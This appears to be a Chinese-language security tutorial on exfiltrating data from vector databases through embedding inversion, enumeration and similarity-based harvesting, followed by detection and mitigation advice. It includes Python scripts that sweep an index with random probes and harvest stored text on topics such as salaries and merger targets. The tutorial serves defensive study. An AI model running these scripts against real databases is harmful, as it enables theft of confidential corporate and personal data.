經由向量資料庫的資料外洩
Advanced3 min readUpdated 2026-03-15
向量資料庫的資料外洩技術:以嵌入反演重建文件、列舉攻擊、以相似度為基礎的資料採集。
向量資料庫的資料外洩,是許多組織低估的議題。常見的假設是嵌入為不透明數值表示,原始內容無法被還原。研究顯示此假設並不正確:嵌入可被反演出具意義的文字,且向量資料庫可被系統性查詢以大量擷取所儲存的內容。
嵌入反演
嵌入反演是自嵌入向量重建原始輸入文字的過程。雖然完美重建通常不可能,但部分重建通常足以取得對攻擊者有用的資訊。
反演如何運作
嵌入模型被訓練成將文字映射為向量,使相似文字產生相似向量。反演模型則訓練於反向映射:給定向量、預測產生它的文字。
# 反演攻擊(概念示意)
# 步驟 1:以已知的文字-嵌入配對訓練反演模型
inversion_model = train_inversion_model(
texts=known_texts,
embeddings=[embedding_model.encode(t) for t in known_texts]
)
# 步驟 2:將反演模型套用至目標嵌入
target_embedding = stolen_from_vector_db # 經查詢或直接存取取得
recovered_text = inversion_model.decode(target_embedding)反演品質
反演品質取決於多項因素:
- 嵌入維度 — 較高維度嵌入(OpenAI 的 1536、許多開源模型的 768)保留較多資訊,較易被反演
- 領域特定性 — 特定領域文字(醫療紀錄、法律文件)若以同領域資料訓練反演模型,反演準確度較高
- 模型可得性 — 攻擊者若能存取相同嵌入模型,便可隨心所欲地產生反演模型的訓練配對
- 文字長度 — 短文字較易完整還原,因為嵌入涵蓋更高比例的資訊
研究顯示還原率的變化,從部分還原(關鍵片段與實體)到近乎完整(整句重建)皆有,取決於上述因素。
實務反演
具查詢存取的攻擊者,可透過下列方式進行反演:
# 方法 1:直接向量存取
# 若 API 回傳結果時附向量值
results = index.query(vector=probe, top_k=100, include_values=True)
for match in results.matches:
recovered = inversion_model.decode(match.values)
print(f"ID: {match.id}, Recovered: {recovered}")
# 方法 2:metadata 協助式反演
# metadata 常含原始文字或摘要
results = index.query(vector=probe, top_k=100, include_metadata=True)
for match in results.matches:
# 許多 RAG 系統將原始 chunk 文字儲存於 metadata
if "text" in match.metadata:
print(f"Original text: {match.metadata['text']}")列舉攻擊
列舉攻擊透過一系列設計來涵蓋嵌入空間的查詢,系統性地擷取資料庫中所有或大部分向量。
窮舉查詢列舉
最簡單的列舉法是使用多樣化探針向量查詢資料庫,以取回盡可能多的不同結果:
# 產生多樣化探針向量以涵蓋嵌入空間
retrieved_ids = set()
all_results = []
# 隨機探測
for i in range(10000):
probe = np.random.randn(1536)
probe = probe / np.linalg.norm(probe)
results = index.query(vector=probe.tolist(), top_k=100)
for match in results.matches:
if match.id not in retrieved_ids:
retrieved_ids.add(match.id)
all_results.append(match)
print(f"Retrieved {len(retrieved_ids)} unique vectors")迭代排除列舉
更有效率的做法是利用查詢結果引導後續查詢,遠離已被取回的向量:
# 從隨機探針開始
retrieved = []
for iteration in range(1000):
if not retrieved:
probe = np.random.randn(1536).tolist()
else:
# 產生遠離已取回向量的探針:
# 自已取回向量質心的反方向移動
centroid = np.mean([r['vector'] for r in retrieved], axis=0)
probe = -centroid + np.random.randn(1536) * 0.1
probe = (probe / np.linalg.norm(probe)).tolist()
results = index.query(vector=probe, top_k=100, include_values=True)
for match in results.matches:
if match.id not in {r['id'] for r in retrieved}:
retrieved.append({
'id': match.id,
'vector': match.values,
'metadata': match.metadata
})以索引統計評估規模
攻擊者可於列舉前評估資料庫規模:
stats = index.describe_index_stats()
total_vectors = stats.total_vector_count
namespaces = stats.namespaces
print(f"Total vectors: {total_vectors}")
print(f"Namespaces: {list(namespaces.keys())}")以相似度為基礎的資料採集
相似度式採集以領域知識擷取語意相關的內容,聚焦於高價值資料而非窮舉列舉。
針對性主題擷取
對特定主題有興趣的攻擊者,設計查詢以取回相關內容:
# 擷取與特定主題相關的所有內容
seed_queries = [
"quarterly revenue and financial projections",
"executive compensation and stock options",
"merger and acquisition targets",
"pending litigation and legal risks",
"customer data breach incidents"
]
harvested = {}
for query_text in seed_queries:
query_embedding = embedding_model.encode(query_text)
results = index.query(
vector=query_embedding.tolist(),
top_k=50,
include_metadata=True
)
harvested[query_text] = [m.metadata.get('text', '') for m in results.matches]雪球式採集
自初步結果開始,利用已取回內容產生更具針對性的查詢:
# 雪球:以取回內容尋找更多相關內容
initial_query = "employee salary information"
queue = [initial_query]
all_harvested = set()
while queue:
query_text = queue.pop(0)
query_embedding = embedding_model.encode(query_text)
results = index.query(vector=query_embedding.tolist(), top_k=20)
for match in results.matches:
if match.id not in all_harvested:
all_harvested.add(match.id)
text = match.metadata.get('text', '')
# 自取回文字擷取關鍵片語作為新查詢
new_queries = extract_key_phrases(text)
queue.extend(new_queries[:3]) # 限制分支跨命名空間採集
若攻擊者發現多個脈絡的資料儲存於不同命名空間,即可跨命名空間採集:
# 跨所有命名空間採集相同主題
for namespace in discovered_namespaces:
results = index.query(
vector=query_embedding.tolist(),
top_k=50,
namespace=namespace,
include_metadata=True
)
print(f"Namespace {namespace}: {len(results.matches)} results")偵測與緩解
向量資料庫外洩可透過下列方式偵測:
- 查詢量監控 — 列舉攻擊需大量查詢;對異常查詢率發出告警
- 查詢多樣性分析 — 隨機探測相較合法應用查詢模式具不尋常特徵
- 結果涵蓋率追蹤 — 監控有多少比例的儲存向量已出現在查詢結果中
- 速率限制 — 對每個 API 金鑰於時間窗內限制查詢數量
緩解做法:
- 不要在 metadata 中儲存原始文字 — 僅儲存文件 ID,原始文字由另一具存取控管的系統取得
- 不要回傳向量值 — 將 API 設為僅回傳 ID 與分數,不回傳嵌入向量本身
- 實作查詢稽核 — 記錄所有查詢,細節足以重建攻擊者的資料存取模式
- 分層存取 — 對不同消費者使用具不同權限的不同 API 金鑰